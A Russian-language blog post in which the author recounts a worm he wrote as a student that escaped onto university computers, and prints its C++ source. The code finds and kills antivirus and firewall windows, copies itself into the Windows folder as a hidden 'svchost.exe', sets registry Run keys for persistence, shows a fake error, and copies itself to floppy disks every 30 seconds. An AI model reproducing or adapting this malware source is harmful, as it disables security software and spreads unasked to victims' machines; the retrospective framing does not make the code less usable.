1 страница12 мая 2016, 12:49

Несложный резидентный вирус-червь на C++

Устроившись работать программистом в свой родной ВУЗ, я обнаружил интересную вещицу. На некоторых компах периодически стучал флоппи-дисковод. Пытался читать или писать данные на дискету. Каково было мое удивление, когдая узнал в этом засранце свое 1курсное творение :). Которое каким-то образом выбралось на свободу. Этот вирус писался исктлючительно как научный эксперимент кдвум моим научным статьям о вирусах, но какэтот черт выбрался для меня осталось загадкой. Кстати обе статьи я опубликую на сайте, после их публикации в научном сборнике.

Вирусом, как таковым это назвать сложно, так как ничего кроме копирования на дискеты он не делает. Но сделана работа былана славу. Поехали...

При получении управления файл, искал все активные окна в заголовках которых содержались словечки: Norton","AVP","Anti","Vir","McAfee","anti","vir","firewall"

И закрывал их. Это было несложно. И по большей части ни к чему, так как он не детектировался как вирус. Но проверить возможно ли это было крайне интересно.

char* bad_windows_list[kx] = {"Norton", "AVP","Anti","Vir"," McAfee","anti","vir", "firewall"};

BOOLBadWindow(LPSTR strWindow) { BOOLres = FALSE; for (int i=0;i<kx;i++) if (strstr(strWindow,bad_windows_list[i])!=0) res = TRUE; return res; } BOOLCALLBACK WndEnumProcMine (HWND hwnd1,long l1) { LPTSTR str1 = new char[255]; GetWindowText(hwnd1,str1,255); if (BadWindow(str1)) { DWORD dwProcessId; GetWindowThreadProcessId(hwnd1,&dwProcessId); if (dwProcessId!=GetCurrentProcessId()) { HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE, dwProcessId); TerminateProcess(hProcess,0); CloseHandle(hProcess); } } delete str1; return TRUE; } void EnumProcessesOther() { LPARAM c = 0; EnumWindows((WNDENUMPROC) WndEnumProcMine,c); }

Следующие его действия вполне предугадываемы.

Копируется в системную папку windows под именем svchost.exe и оставляет свои кишки в системном реестре, для запускапри перезагрузке.

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR pCmdLine,int nCmdShow) {

char myname[1024],windir[1024]; HKEY hKey; SetErrorMode(SEM_NOGPFAULTERRORBOX); PeekMessage(NULL, NULL, NULL, NULL, NULL);

GetModuleFileName(hInstance,myname,sizeof (myname)); GetWindowsDirectory(windir,sizeof(windir));

strcat(windir,"\\SVCHOST.EXE"); CopyFile(myname,windir,FALSE); SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN);

//--------------------Startup--------------------------------RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey); RegSetValueEx(hKey,"SVCHOST.EXE",0, REG_SZ,(BYTE *)windir,256); RegCloseKey(hKey); //-----------------------------------------------------------

if(strcmp(windir,myname)) { MessageBox(0, "This program not win32 mode","Error", MB_OK | MB_DEFBUTTON1 | MB_ICONEXCLAMATION | MB_DEFAULT_DESKTOP_ONLY); return 0; } //-------for(;;) { if(IsDiskInDrive ("a:\\")) { CopyFile(windir,"a:\\diskinfo.exe",FALSE); RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows \\CurrentVersion\\Policies\\Explorer\\Run" ,0,KEY_WRITE,&hKey); RegSetValueEx(hKey,"SVCHOST.EXE",0,REG_SZ,(BYTE *)windir,256); RegCloseKey(hKey); } EnumProcessesOther(); Sleep(30000); }

return 0; }

Выводит липовое сообщение об ошибке. И после перезагрузки висит в памяти, и каждые 30000 миллисекунд записывается на дискету под именем diskinfo.exe. На удивление простой вирус, правда? Никакого вреда, только распространение. Но нестандартный ключ записи в реестр и незадачливое имя файлы svchost.exe вводило в ступор даже опытных сис/админов. Вроде бы никаких лишних процессов нет, а он есть. Палилось это довольно легко.

Настоящий процесс svchost.exe никогда не запускается из-под пользователя. Он всегдаимеет приоритет запускаот системы (SYSTEM). После эксперимента, зверь был отправлен ко всем известным антивирусным компаниями и начал детектироваться спустя двадня. Все данные об эксперименте отражены в статьях. А программа прекратиласвое существование.

1 страница12 мая 2016, 12:49

Комментарии

0 / 5000 символов

Форматирование: **жирный**, *курсив*, `код`, списки (- / 1.), ссылки [текст](https://…) и обычные https://… в тексте.

Пока нет комментариев. Будьте первым!